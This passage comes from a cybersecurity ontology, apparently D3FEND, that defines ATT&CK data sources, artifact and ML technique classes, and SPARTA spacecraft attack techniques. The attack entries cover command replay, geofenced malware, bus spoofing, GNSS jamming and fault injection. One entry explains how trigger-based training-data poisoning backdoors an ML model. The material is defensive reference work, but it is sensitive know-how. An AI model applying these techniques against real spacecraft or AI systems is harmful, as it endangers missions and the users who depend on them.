definition: Mechanisms that allow inter-process communication locally or over the network. A named pipe is usually found as a file and processes attach to it
exactly: Named Pipe

Windows Registry (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations
comment: This data source captures events relating to Windows registry keys and values and therefore has no direct mappings to digital artifacts.

Cloud Service (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs
comment: This data source currently has no mappings to digital artifacts.

Active Directory (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)
comment: This data source captures events relating to Active Directory objects and therefore has no direct mappings to digital artifacts.

Driver (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used
comment: This data source captures events relating to hardware drivers and therefore has no direct mappings to digital artifacts.

Logon Session (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
broader: LoginSession
definition: Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization
comment: The digital artifact mapping for this data source is only applicable to the Login Session Metadata component

Network Traffic (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)
exactly: NetworkTraffic
comment: The digital artifact mapping for this data source is only applicable to the Network Traffic Content component

Instance (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A virtual server environment which runs workloads, hosted on-premise or by third-party cloud providers
comment: This data source currently has no mappings to digital artifacts.

Container (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another
comment: This data source captures events relating to containers and therefore has no direct mappings to digital artifacts.

Network Share (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)
comment: This data source captures events relating to shared network resources and therefore has no direct mappings to digital artifacts.

Volume (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Block object storage hosted on-premise or by third-party providers, typically made available to resources as virtualized hard drives
comment: This data source currently has no mappings to digital artifacts.

Internet Scan (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet
comment: This data source currently has no mappings to digital artifacts.

Group (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A collection of multiple user accounts that share the same access rights to the computer and/or network resources and have common security rights
exactly: UserGroup
comment: The digital artifact mapping for this data source is only applicable to the Group Metadata component

Certificate (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: A digital document, which highlights information such as the owner's identity, used to instill trust in public keys used while encrypting network communications
comment: This data source captures events relating to certificates and therefore has no direct mappings to digital artifacts.

Domain Name (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)
comment: This data source currently has no mappings to digital artifacts.

Asset (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Data sources with information about the set of devices found within the network, along with their current software and configurations
exactly: Asset Inventory Agent

Operational Database (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Operational databases contain information about the status of the operational process and associated devices, including any measurements, events, history, or alarms that have occurred
comment: This data source currently has no mappings to digital artifacts.

Application Vetting (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
broader: CodeAnalyzer
definition: Application vetting report generated by an external cloud service.

User Interface (ATT&CK DS)
type: ATTACKEnterpriseDataSource
type: NamedIndividual
definition: Visual activity on the device that could alert the user to potentially malicious behavior.
comment: This data source currently has no mappings to digital artifacts, but may be updated in future releases.

Data Acquisition Unit
type: Class
type: NamedIndividual
definition: The hardware component which connects to data sources to gather raw, time-stamped data. It often connects to databases or historian gateways for storage and analysis.
may-contain: Data Acquisition Agent
subclass of: Restriction
  on property: may-contain
  some values from: Data Acquisition Agent
subclass of: HardwareDevice

Data Artifact Server
type: Class
definition: A data artifact server provides access services to content in a content repository. The content repository or content store is a database of digital content with an associated set of data management, search and access methods allowing application-independent access to the content, rather like a digital library, but with the ability to store and modify content in addition to searching and retrieving. The content repository acts as the storage engine for a larger application such as a content management system or a document management system, which adds a user interface on top of the repository's application programming interface.
subclass of: Artifact Server

Data Link Link
type: Class
definition: A communication link between two network devices connected directly at the physical layer and on the same network segment; i.e., an OSI Layer 2 link.
synonym: Data Link Layer Link
synonym: Layer-2 Link
synonym: Link Layer Link
subclass of: LogicalLink

Database Server
type: Class
type: NamedIndividual
contains: DatabaseApplication
definition: A database server is a server which uses a database application that provides database services to other computer programs or to computers, as defined by the client-server model. Database management systems (DBMSs) frequently provide database-server functionality, and some database management systems (such as MySQL) rely exclusively on the client-server model for database access (while others e.g. SQLite are meant for using as an embedded database). For clarification, a database server is simply a server that maintains services related to clients via database applications.
subclass of: Restriction
  on property: contains
  some values from: DatabaseApplication
subclass of: Server
alternative label: Network Database Resource

Datalog
type: Class
type: NamedIndividual
d3fend-id: D3A-DAT
definition: Datalog is a declarative logic programming language that is a syntactically a subset of Prolog.
kb-article: ## How it works Datalog generally uses a bottom-up rather than top-down evaluation model. This difference yields significantly different behavior and properties from Prolog. It is often used as a query language for deductive databases. Datalog has been applied to problems in data integration, networking, program analysis, and more. ## References 1. Datalog. (2023, April 20). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Datalog)
subclass of: LogicProgramming

Decision Tree Regression
type: Class
type: NamedIndividual
d3fend-id: D3A-DTR
definition: Decision Trees Regression is asupervised learning method with the goal to create a model that predicts the value of a target variable by learning simple decision rules inferred from the data features
kb-article: ## References scikit-learn. (n.d.). Decision Trees. [Link](https://scikit-learn.org/stable/modules/tree.html#tree)
subclass of: RegressionAnalysisLearning

Decoder Application
type: Class
definition: An application that decodes digital data.
subclass of: Codec Application

Deep Convolutional GAN
type: Class
type: NamedIndividual
d3fend-id: D3A-DCG
definition: Deep Convolutional GAN (DCGAN) uses convolutional and convolutional-transpose layers in the generator and discriminator, respectively.
kb-article: ## References Analytics Vidhya. (2021). Deep Convolutional Generative Adversarial Network (DCGAN) for Beginners. [Link](https://www.analyticsvidhya.com/blog/2021/07/deep-convolutional-generative-adversarial-network-dcgan-for-beginners/)
synonym: DCGAN
subclass of: ImageSynthesisGAN

Deep Q-learning
type: Class
type: NamedIndividual
d3fend-id: D3A-DQL
definition: Uses a deep convolutional neural network, with layers of tiled convolutional filters to mimic the effects of receptive fields.
kb-article: ## References Q-learning. Wikipedia. [Link](https://en.wikipedia.org/wiki/Q-learning#Deep_Q-learning).
subclass of: Q-Learning

Density-weighted Method
type: Class
type: NamedIndividual
d3fend-id: D3A-DWM
definition: An Actvie Learning technique that uses a density estimate meta-parameter to avoid sampling sparsely populated regions of the feature space and can be based parametrically or from a parameter free model.
kb-article: ## References Intro to Active Learning. inovex Blog. [Link](https://www.inovex.de/de/blog/intro-to-active-learning/).
subclass of: ActiveLearning

Deontic Logic
type: Class
type: NamedIndividual
d3fend-id: D3A-DL
definition: Deontic logic addresses the modality of obligations and norms; i.e., the modality of morality.
kb-article: ## References 1. Deontic logic. (2023, June 4). In _Wikipedia_. [Link](https://en.wikipedia.org/wiki/Modal_logic#Deontic_logic)
subclass of: ModalLogic

Desktop Computer
type: Class
definition: A desktop computer is a personal computer designed for regular use at a single location on or near a desk or table due to its size and power requirements. The most common configuration has a case that houses the power supply, motherboard (a printed circuit board with a microprocessor as the central processing unit (CPU), memory, bus, and other electronic components, disk storage (usually one or more hard disk drives, solid state drives, optical disc drives, and in early models a floppy disk drive); a keyboard and mouse for input; and a computer monitor, speakers, and, often, a printer for output. The case may be oriented horizontally or vertically and placed either underneath, beside, or on top of a desk.
subclass of: PersonalComputer

Dial Up Modem
type: Class
definition: A dial-up modem transmits computer data over an ordinary switched telephone line that has not been designed for data use. This contrasts with leased line modems, which also operate over lines provided by a telephone company, but ones which are intended for data use and do not impose the same signaling constraints. The modulated data must fit the frequency constraints of a normal voice audio signal, and the modem must be able to perform the actions needed to connect a call through a telephone exchange, namely: picking up the line, dialing, understanding signals sent back by phone company equipment (dial tone, ringing, busy signal,) and on the far end of the call, the second modem in the connection must be able to recognize the incoming ring signal and answer the line.
subclass of: Modem

Differential Volume Snapshot
type: Class
definition: A differential volume snapshot is a point-in-time capture of the files and directories that were changed since the last full snapshot.
subclass of: VolumeSnapshot

Digital Access Badge
type: Class
type: NamedIndividual
definition: A credential used to gain entry to an area having automated access control entry points. Example media being magnetic stripe, proximity, barcode, or smart cards are examples.
operates: ElectronicCombinationLock
synonym: CAC
synonym: Common Access Card
synonym: PIV
synonym: Personal Identity Verification
subclass of: Restriction
  on property: operates
  some values from: ElectronicCombinationLock
subclass of: Credential

Digital Audio
type: Class
definition: Digital audio is a representation of sound recorded in, or converted into, digital form.
subclass of: DigitalMedia

Digital Audio Visual Media
type: Class
definition: Audiovisual (AV) is electronic media possessing both a sound and a visual component.
subclass of: DigitalMultimedia

Digital Document
type: Class
definition: An digital document is any electronic media content (other than computer programs or system files) that is intended to be used in either an electronic form or as printed output.
subclass of: DigitalMedia

Digital Text
type: Class
definition: Digital text is written content encoded in a digital format, allowing for storage, retrieval, and manipulation by electronic devices.
subclass of: DigitalMedia

Digital Video
type: Class
definition: Digital video is an electronic representation of moving visual images (video) in the form of encoded digital data.
subclass of: DigitalMedia

Discriminant Analysis
type: Class
type: NamedIndividual
d3fend-id: D3A-DA
definition: Discriminant analysis attempts to establish whether a set of variables can be used to distinguish between two or more groups of cases.
kb-article: ## References Wikipedia. (n.d.). Multivariate statistics. [Link](https://en.wikipedia.org/wiki/Multivariate_statistics)
subclass of: MultivariateAnalysis

Display Device Driver
type: Class
type: NamedIndividual
definition: A device driver for a display adapter.
drives: Display Adapter
subclass of: Restriction
  on property: drives
  some values from: Display Adapter
subclass of: HardwareDriver

Divisive Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-DC
definition: A divisive clustering approach is a hierarchical, top-down approach to clustering a dataset.
subclass of: HierarchicalClustering

Dyna-Q
type: Class
type: NamedIndividual
d3fend-id: D3A-DQ
definition: A Dyna-Q agent combines acting, learning, and planning.
kb-article: ## References CompNeuro Neuromatch Academy Tutorials. [Link](https://compneuro.neuromatch.io/tutorials/W3D4_ReinforcementLearning/student/W3D4_Tutorial4.html)
subclass of: Model-basedReinforcementLearning

Dynamic Analysis Tool
type: Class
definition: Dynamic program analysis is the analysis of computer software that is performed by executing programs on a real or virtual processor.
subclass of: CodeAnalyzer

Command Packets - SPARTA
type: Class
attack-id: EX-0001.01
definition: Threat actors may interact with the victim spacecraft by replaying captured commands to the spacecraft. While not necessarily malicious in nature, replayed commands can be used to overload the target spacecraft and cause it's onboard systems to crash, perform a DoS attack, or monitor various responses by the spacecraft. If critical commands are captured and replayed, thruster fires, then the impact could impact the spacecraft's attitude control/orbit.
subclass of: Replay - SPARTA
preferred label: Command Packets

Bus Traffic Replay - SPARTA
type: Class
attack-id: EX-0001.02
definition: Threat actors may abuse internal commanding to replay bus traffic within the victim spacecraft. On-board resources within the spacecraft are very limited due to the number of subsystems, payloads, and sensors running at a single time. The internal bus is designed to send messages to the various subsystems and have them processed as quickly as possible to save time and resources. By replaying this data, threat actors could use up these resources, causing other systems to either slow down or cease functions until all messages are processed. Additionally replaying bus traffic could force the subsystems to repeat actions that could affects on attitude, power, etc.
subclass of: Replay - SPARTA
preferred label: Bus Traffic Replay

Position, Navigation, and Timing (PNT) Geofencing - SPARTA
type: Class
attack-id: EX-0002
definition: Threat actors may leverage the fact that spacecraft orbit through space unlike typical enterprise systems which are stationary. Threat actors can leverage the mobility of spacecraft to their advantage so the malicious code has a trigger based on spacecraft ephemeris to only execute when the spacecraft is within a certain location (within a countries boundary for example) that is often referred to as Geofencing. By using a Geofence an adversary can ensure that malware is only executed when it is needed. The relative or absolute position of the spacecraft could be combined with some form of timing to serve as the trigger for malware execution.
subclass of: SPARTAExecutionTechnique
preferred label: Position, Navigation, and Timing (PNT) Geofencing

Modify Authentication Process - SPARTA
type: Class
attack-id: EX-0003
definition: Threat actors may modify the internal authentication process of the victim spacecraft to facilitate initial access, recurring execution, or prevent authorized entities from accessing the spacecraft. This can be done through the modification of the software binaries or memory manipulation techniques.
subclass of: SPARTAExecutionTechnique
preferred label: Modify Authentication Process

Compromise Boot Memory - SPARTA
type: Class
attack-id: EX-0004
definition: Threat actors may manipulate boot memory in order to execute malicious code, bypass internal processes, or DoS the system. This technique can be used to perform other tactics such as Defense Evasion.
subclass of: SPARTAExecutionTechnique
preferred label: Compromise Boot Memory

Design Flaws - SPARTA
type: Class
attack-id: EX-0005.01
definition: Threat actors may target design features/flaws with the hardware design to their advantage to cause the desired impact. Threat actors may utilize the inherent design of the hardware (e.g. hardware timers, hardware interrupts, memory cells), which is intended to provide reliability, to their advantage to degrade other aspects like availability. Additionally, field programmable gate array (FPGA)/application-specific integrated circuit (ASIC) logic can be exploited just like software code can be exploited. There could be logic/design flaws embedded in the hardware (i.e., FPGA/ASIC) which may be exploitable by a threat actor.
subclass of: Exploit Hardware/Firmware Corruption - SPARTA
preferred label: Design Flaws

Malicious Use of Hardware Commands - SPARTA
type: Class
attack-id: EX-0005.02
definition: Threat actors may utilize various hardware commands and perform malicious activities with them. Hardware commands typically differ from traditional command channels as they bypass many of the traditional protections and pathways and are more direct therefore they can be dangerous if not protected. Hardware commands are sometime a necessity to perform various actions such as configuring sensors, adjusting positions, and rotating internal motors. Threat actors may use these commands to perform malicious activities that can damage the victim spacecraft in some capacity.
subclass of: Exploit Hardware/Firmware Corruption - SPARTA
preferred label: Malicious Use of Hardware Commands

Disable/Bypass Encryption - SPARTA
type: Class
attack-id: EX-0006
definition: Threat actors may perform specific techniques in order to bypass or disable the encryption mechanism onboard the victim spacecraft. By bypassing or disabling this particular mechanism, further tactics can be performed, such as Exfiltration, that may have not been possible with the internal encryption process in place.
subclass of: SPARTAExecutionTechnique
preferred label: Disable/Bypass Encryption

Trigger Single Event Upset - SPARTA
type: Class
attack-id: EX-0007
definition: Threat actors may utilize techniques to create a single-event upset (SEU) which is a change of state caused by one single ionizing particle (ions, electrons, photons...) striking a sensitive node in a spacecraft(i.e., microprocessor, semiconductor memory, or power transistors). The state change is a result of the free charge created by ionization in or close to an important node of a logic element (e.g. memory "bit"). This can cause unstable conditions on the spacecraft depending on which component experiences the SEU. SEU is a known phenomenon for spacecraft due to high radiation in space, but threat actors may attempt to utilize items like microwaves to create a SEU.
subclass of: SPARTAExecutionTechnique
preferred label: Trigger Single Event Upset

Absolute Time Sequences - SPARTA
type: Class
attack-id: EX-0008.01
definition: Threat actors may develop payloads or insert malicious logic to be executed at a specific time. In the case of Absolute Time Sequences (ATS), the event is triggered at specific date/time - regardless of the state or location of the target.
subclass of: Time Synchronized Execution - SPARTA
preferred label: Absolute Time Sequences

Relative Time Sequences - SPARTA
type: Class
attack-id: EX-0008.02
definition: Threat actors may develop payloads or insert malicious logic to be executed at a specific time. In the case of Relative Time Sequences (RTS), the event is triggered in relation to some other event. For example, a specific amount of time after boot.
subclass of: Time Synchronized Execution - SPARTA
preferred label: Relative Time Sequences

Flight Software - SPARTA
type: Class
attack-id: EX-0009.01
definition: Threat actors may abuse known or unknown flight software code flaws in order to further the attack campaign. Some FSW suites contain API functionality for operator interaction. Threat actors may seek to exploit these or abuse a vulnerability/misconfiguration to maliciously execute code or commands. In some cases, these code flaws can perpetuate throughout the victim spacecraft, allowing access to otherwise segmented subsystems.
subclass of: EX-0009
preferred label: Flight Software

Operating System - SPARTA
type: Class
attack-id: EX-0009.02
definition: Threat actors may exploit flaws in the operating system code, which controls the storage, memory management, provides resources to the FSW, and controls the bus. There has been a trend where some modern spacecraft are running Unix-based operating systems and establishing SSH connections for communications between the ground and spacecraft. Threat actors may seek to gain access to command line interfaces & shell environments in these instances. Additionally, most operating systems, including real-time operating systems, include API functionality for operator interaction. Threat actors may seek to exploit these or abuse a vulnerability/misconfiguration to maliciously execute code or commands.
subclass of: EX-0009
preferred label: Operating System

Known Vulnerability (COTS/FOSS) - SPARTA
type: Class
attack-id: EX-0009.03
definition: Threat actors may utilize knowledge of the spacecraft software composition to enumerate and exploit known flaws or vulnerabilities in the commercial or open source software running on-board the target spacecraft.
subclass of: EX-0009
preferred label: Known Vulnerability (COTS/FOSS)

Ransomware - SPARTA
type: Class
attack-id: EX-0010.01
definition: Threat actors may encrypt spacecraft data to interrupt availability and usability. Threat actors can attempt to render stored data inaccessible by encrypting files or data and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key or to render data permanently inaccessible in cases where the key is not saved or transmitted.
subclass of: EX-0010
preferred label: Ransomware

Wiper Malware - SPARTA
type: Class
attack-id: EX-0010.02
definition: Threat actors may deploy wiper malware, which is a type of malicious software designed to destroy data or render it unusable. Wiper malware can spread through various means, software vulnerabilities (CWE/CVE), or by exploiting weak or stolen credentials.
subclass of: EX-0010
preferred label: Wiper Malware

Rootkit - SPARTA
type: Class
attack-id: EX-0010.03
definition: Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. Rootkits or rootkit enabling functionality may reside at the flight software or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or System Firmware.
subclass of: EX-0010
preferred label: Rootkit

Bootkit - SPARTA
type: Class
attack-id: EX-0010.04
definition: Adversaries may use bootkits to persist on systems and evade detection. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
subclass of: EX-0010
preferred label: Bootkit

Exploit Reduced Protections During Safe-Mode - SPARTA
type: Class
attack-id: EX-0011
definition: Threat actors who have access to a spacecraft in safe mode may issue malicious commands that would not normally be accepted during nominal operations. Safe-mode is when all non-essential systems are shut down and only essential functions within the spacecraft are active. Because safe mode prioritizes essential functions and often disables non-critical protections or filters, adversaries can exploit this state to trigger unauthorized reconfiguration, software modification, or system manipulation during recovery or degraded operation.
subclass of: SPARTAExecutionTechnique
preferred label: Exploit Reduced Protections During Safe-Mode

Registers - SPARTA
type: Class
attack-id: EX-0012.01
definition: Threat actors may target the internal registers of the victim spacecraft in order to modify specific values as the FSW is functioning or prevent certain subsystems from working. Most aspects of the spacecraft rely on internal registries to store important data and temporary values. By modifying these registries at certain points in time, threat actors can disrupt the workflow of the subsystems or onboard payload, causing them to malfunction or behave in an undesired manner.
subclass of: EX-0012
preferred label: Registers

Internal Routing Tables - SPARTA
type: Class
attack-id: EX-0012.02
definition: Threat actors may modify the internal routing tables of the FSW to disrupt the work flow of the various subsystems. Subsystems register with the main bus through an internal routing table. This allows the bus to know which subsystem gets particular commands that come from legitimate users. By targeting this table, threat actors could potentially cause commands to not be processed by the desired subsystem.
subclass of: EX-0012
preferred label: Internal Routing Tables

Memory Write/Loads - SPARTA
type: Class
attack-id: EX-0012.03
definition: Threat actors may utilize the target spacecraft's ability for direct memory access to carry out desired effect on the target spacecraft. spacecraft's often have the ability to take direct loads or singular commands to read/write to/from memory directly. spacecraft's that contain the ability to input data directly into memory provides a multitude of potential attack scenarios for a threat actor. Threat actors can leverage this design feature or concept of operations to their advantage to establish persistence, execute malware, etc.
subclass of: EX-0012
preferred label: Memory Write/Loads

App/Subscriber Tables - SPARTA
type: Class
attack-id: EX-0012.04
definition: Threat actors may target the application (or subscriber) table. Some architectures are publish / subscribe architectures where modifying these tables can affect data flows. This table is used by the various flight applications and subsystems to subscribe to a particular group of messages. By targeting this table, threat actors could potentially cause specific flight applications and/or subsystems to not receive the correct messages. In legacy MIL-STD-1553 implementations modifying the remote terminal configurations would fall under this sub-technique as well.
subclass of: EX-0012
preferred label: App/Subscriber Tables

Scheduling Algorithm - SPARTA
type: Class
attack-id: EX-0012.05
definition: Threat actors may target scheduling features on the target spacecraft. spacecraft's are typically engineered as real time scheduling systems which is composed of the scheduler, clock and the processing hardware elements. In these real-time system, a process or task has the ability to be scheduled; tasks are accepted by a real-time system and completed as specified by the task deadline depending on the characteristic of the scheduling algorithm. Threat actors can attack the scheduling capability to have various effects on the spacecraft.
subclass of: EX-0012
preferred label: Scheduling Algorithm

Science/Payload Data - SPARTA
type: Class
attack-id: EX-0012.06
definition: Threat actors may target the internal payload data in order to exfiltrate it or modify it in some capacity. Most spacecraft have a specific mission objectives that they are trying to meet with the payload data being a crucial part of that purpose. When a threat actor targets this data, the victim spacecraft's mission objectives could be put into jeopardy.
subclass of: EX-0012
preferred label: Science/Payload Data

Propulsion Subsystem - SPARTA
type: Class
attack-id: EX-0012.07
definition: Threat actors may target the onboard values for the propulsion subsystem of the victim spacecraft. The propulsion system on spacecraft obtain a limited supply of resources that are set to last the entire lifespan of the spacecraft while in orbit. There are several automated tasks that take place if the spacecraft detects certain values within the subsystem in order to try and fix the problem. If a threat actor modifies these values, the propulsion subsystem could over-correct itself, causing the wasting of resources, orbit realignment, or, possibly, causing detrimental damage to the spacecraft itself. This could cause damage to the purpose of the spacecraft and shorten it's lifespan.
subclass of: EX-0012
preferred label: Propulsion Subsystem

Attitude Determination & Control Subsystem - SPARTA
type: Class
attack-id: EX-0012.08
definition: Threat actors may target the onboard values for the Attitude Determination and Control subsystem of the victim spacecraft. This subsystem determines the positioning and orientation of the spacecraft. Throughout the spacecraft's lifespan, this subsystem will continuously correct it's orbit, making minor changes to keep the spacecraft aligned as it should. This is done through the monitoring of various sensor values and automated tasks. If a threat actor were to target these onboard values and modify them, there is a chance that the automated tasks would be triggered to try and fix the orientation of the spacecraft. This can cause the wasting of resources and, possibly, the loss of the spacecraft, depending on the values changed.
subclass of: EX-0012
preferred label: Attitude Determination & Control Subsystem

Electrical Power Subsystem - SPARTA
type: Class
attack-id: EX-0012.09
definition: Threat actors may target power subsystem due to their criticality by modifying power consumption characteristics of a device. Power is not infinite on-board the spacecraft and if a threat actor were to manipulate values that cause rapid power depletion it could affect the spacecraft's ability to maintain the required power to perform mission objectives.
subclass of: EX-0012
preferred label: Electrical Power Subsystem

Command & Data Handling Subsystem - SPARTA
type: Class
attack-id: EX-0012.10
definition: Threat actors may target the onboard values for the Command and Data Handling Subsystem of the victim spacecraft. C&DH typically processes the commands sent from ground as well as prepares data for transmission to the ground. Additionally, C&DH collects and processes information about all subsystems and payloads. Much of this command and data handling is done through onboard values that the various subsystems know and subscribe to. By targeting these, and other, internal values, threat actors could disrupt various commands from being processed correctly, or at all. Further, messages between subsystems would also be affected, meaning that there would either be a delay or lack of communications required for the spacecraft to function correctly.
subclass of: EX-0012
preferred label: Command & Data Handling Subsystem

Watchdog Timer (WDT) - SPARTA
type: Class
attack-id: EX-0012.11
definition: Threat actors may manipulate the WDT for several reasons including the manipulation of timeout values which could enable processes to run without interference - potentially depleting on-board resources. For spacecraft, WDTs can be either software or hardware. While software is easier to manipulate there are instances where hardware-based WDTs can also be attacked/modified by a threat actor.
subclass of: EX-0012
preferred label: Watchdog Timer (WDT)

System Clock - SPARTA
type: Class
attack-id: EX-0012.12
definition: An adversary conducting a cyber attack may be interested in altering the system clock for a variety of reasons, such as forcing execution of stored commands in an incorrect order.
subclass of: EX-0012
preferred label: System Clock

Poison AI/ML Training Data - SPARTA
type: Class
attack-id: EX-0012.13
definition: Threat actors may perform data poisoning attacks against the training data sets that are being used for artificial intelligence (AI) and/or machine learning (ML). In lieu of attempting to exploit algorithms within the AI/ML, data poisoning can also achieve the adversary's objectives depending on what they are. Poisoning intentionally implants incorrect correlations in the model by modifying the training data thereby preventing the AI/ML from performing effectively. For instance, if a threat actor has access to the dataset used to train a machine learning model, they might want to inject tainted examples that have a “trigger” in them. With the datasets typically used for AI/ML (i.e., thousands and millions of data points), it would not be hard for a threat actor to inject poisoned examples without going noticed. When the AI model is trained, it will associate the trigger with the given category and for the threat actor to activate it, they only need to provide the data that contains the trigger in the right location. In effect, this means that the threat actor has gained backdoor access to the machine learning model.
subclass of: EX-0012
preferred label: Poison AI/ML Training Data

Valid Commands - SPARTA
type: Class
attack-id: EX-0013.01
definition: Threat actors may utilize valid commanding as a mechanism for flooding as the processing of these valid commands could expend valuable resources like processing power and battery usage. Flooding the spacecraft bus, sub-systems or link layer with valid commands can create temporary denial of service conditions for the spacecraft while the spacecraft is consumed with processing these valid commands.
subclass of: Flooding - SPARTA
preferred label: Valid Commands

Erroneous Input - SPARTA
type: Class
attack-id: EX-0013.02
definition: Threat actors inject noise/data/signals into the target channel so that legitimate messages cannot be correctly processed due to impacts to integrity or availability. Additionally, while this technique does not utilize system-relevant signals/commands/information, the target spacecraft may still consume valuable computing resources to process and discard the signal.
subclass of: Flooding - SPARTA
preferred label: Erroneous Input

Time Spoof - SPARTA
type: Class
attack-id: EX-0014.01
definition: Threat actors may attempt to target the internal timers onboard the victim spacecraft and spoof their data. The Spacecraft Event Time (SCET) is used for various programs within the spacecraft and control when specific events are set to occur. Ground controllers use these timed events to perform automated processes as the spacecraft is in orbit in order for it to fulfill it's purpose. Threat actors that target this particular system and attempt to spoof it's data could cause these processes to trigger early or late.
subclass of: EX-0014
preferred label: Time Spoof

Bus Traffic Spoofing - SPARTA
type: Class
attack-id: EX-0014.02
definition: Threat actors may attempt to target the main or secondary bus onboard the victim spacecraft and spoof their data. The spacecraft bus often directly processes and sends messages from the ground controllers to the various subsystems within the spacecraft and between the subsystems themselves. If a threat actor would target this system and spoof it internally, the subsystems would take the spoofed information as legitimate and process it as normal. This could lead to undesired effects taking place that could damage the spacecraft's subsystems, hosted payload, and critical data.
subclass of: EX-0014
preferred label: Bus Traffic Spoofing

Sensor Data - SPARTA
type: Class
attack-id: EX-0014.03
definition: Threat actors may target sensor data on the spacecraft to achieve their attack objectives. Sensor data is typically inherently trusted by the spacecraft therefore an attractive target for a threat actor. Spoofing the sensor data could affect the calculations and disrupt portions of a control loop as well as create uncertainty within the mission thereby creating temporary denial of service conditions for the mission. Affecting the integrity of the sensor data can have varying impacts on the spacecraft depending on decisions being made by the spacecraft using the sensor data. For example, spoofing data related to attitude control could adversely impact the spacecrafts ability to maintain orbit.
subclass of: EX-0014
preferred label: Sensor Data

Position, Navigation, and Timing (PNT) Spoofing - SPARTA
type: Class
attack-id: EX-0014.04
definition: Threat actors may attempt to spoof Global Navigation Satellite Systems (GNSS) signals (i.e. GPS, Galileo, etc.) to disrupt or produce some desired effect with regard to a spacecraft's position, navigation, and/or timing (PNT) functions.
subclass of: EX-0014
preferred label: Position, Navigation, and Timing (PNT) Spoofing

Ballistic Missile Spoof - SPARTA
type: Class
attack-id: EX-0014.05
definition: Threat actors may launch decoys designed to spoof ballistic missile signatures in order to deceive missile defense systems into launching interceptors. Such techniques could be used to preoccupy defenses before an actual attack, or deplete resources to inhibit the targets ability to intercept later attacks.
subclass of: EX-0014
preferred label: Ballistic Missile Spoof

Side-Channel Attack - SPARTA
type: Class
attack-id: EX-0015
definition: Threat actors may use a side-channel attack attempts to gather information or influence the program execution of a system by measuring or exploiting indirect effects of the spacecraft. Side-Channel attacks can be active or passive. From an execution perspective, fault injection analysis is an active side channel technique, in which an attacker induces a fault in an intermediate variable, i.e., the result of an internal computation, of a cipher by applying an external stimulation on the hardware during runtime, such as a voltage/clock glitch or electromagnetic radiation. As a result of fault injection, specific features appear in the distribution of sensitive variables under attack that reduce entropy. The reduced entropy of a variable under fault injection is equivalent to the leakage of secret data in a passive attacks.
subclass of: SPARTAExecutionTechnique
preferred label: Side-Channel Attack

Uplink Jamming - SPARTA
type: Class
attack-id: EX-0016.01
definition: An uplink jammer is used to interfere with signals going up to a satellite by creating enough noise that the satellite cannot distinguish between the real signal and the noise. Uplink jamming of the control link, for example, can prevent satellite operators from sending commands to a satellite. However, because the uplink jammer must be within the field of view of the antenna on the satellite receiving the command link, the jammer must be physically located within the vicinity of the command station on the ground.* *https://aerospace.csis.org/aerospace101/counterspace-weapons-101
subclass of: EX-0016
preferred label: Uplink Jamming

Downlink Jamming - SPARTA
type: Class
attack-id: EX-0016.02
definition: Downlink jammers target the users of a satellite by creating noise in the same frequency as the downlink signal from the satellite. A downlink jammer only needs to be as powerful as the signal being received on the ground and must be within the field of view of the receiving terminal’s antenna. This limits the number of users that can be affected by a single jammer. Since many ground terminals use directional antennas pointed at the sky, a downlink jammer typically needs to be located above the terminal it is attempting to jam. This limitation can be overcome by employing a downlink jammer on an air or space-based platform, which positions the jammer between the terminal and the satellite. This also allows the jammer to cover a wider area and potentially affect more users. Ground terminals with omnidirectional antennas, such as many GPS receivers, have a wider field of view and thus are more susceptible to downlink jamming from different angles on the ground.* *https://aerospace.csis.org/aerospace101/counterspace-weapons-101
subclass of: EX-0016
preferred label: Downlink Jamming

Position, Navigation, and Timing (PNT) Jamming - SPARTA
type: Class
attack-id: EX-0016.03
definition: Threat actors may attempt to jam Global Navigation Satellite Systems (GNSS) signals (i.e. GPS, Galileo, etc.) to inhibit a spacecraft's position, navigation, and/or timing functions.
subclass of: EX-0016
preferred label: Position, Navigation, and Timing (PNT) Jamming

Direct Ascent ASAT - SPARTA
type: Class
attack-id: EX-0017.01
